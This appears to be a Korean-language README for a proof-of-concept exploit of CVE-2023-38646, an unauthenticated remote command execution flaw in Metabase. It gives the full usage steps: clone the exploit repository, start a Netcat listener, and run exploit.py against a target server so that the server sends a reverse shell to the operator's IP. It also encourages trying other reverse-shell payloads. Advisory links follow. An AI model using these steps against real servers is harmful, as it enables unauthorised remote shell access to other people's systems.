
이것은 오픈소스 비즈니스 인텔리전스 및 데이터 분석 도구인 Metabase를 익스플로잇하기 위한 개념 증명(PoC) 스크립트입니다.
이것은 오픈소스 비즈니스 인텔리전스 및 데이터 분석 도구인 Metabase를 익스플로잇하기 위한 개념 증명(PoC) 스크립트입니다. Metabase를 사용하면 사용자가 데이터를 시각화하고 상호 작용할 수 있어 데이터 분석을 위한 강력한 플랫폼을 제공합니다.
CVE-2023-38646으로 지정된 이 취약점은 공격자가 인증 없이 서버에서 임의의 명령을 실행할 수 있게 했습니다. 이 결함의 영향은 심각했으며, 서버의 권한 수준에서 서버에 대한 무단 액세스를 허용했습니다.
이 저장소 복제
git clone https://github.com/threatHNTR/CVE-2023-38646.git
저장소로 이동
cd CVE-2023-38646
스크립트 실행 전, Netcat 리스너 설정
nc -nlvp chosen-port
스크립트 실행
python3 exploit.py -u http://target-metabase-server -i your-ip-address -p chosen-port
익스플로잇: 이 스크립트는 대상 Metabase 서버에 리버스 셸을 전송하려고 시도합니다. 성공하면 사용자의 머신에서 셸을 받게 됩니다. 다른 리버스 셸을 시도하기 위해 페이로드를 자유롭게 변경하세요.
GitHub 권고: https://github.com/advisories/GHSA-jg32-8h6w-x7vg
Metabase 권고: https://www.metabase.com/blog/security-advisory
Metabase GitHub: https://github.com/metabase/metabase
Assetnote 블로그 - Metabase에서 사전 인증 RCE로 체이닝하기: https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/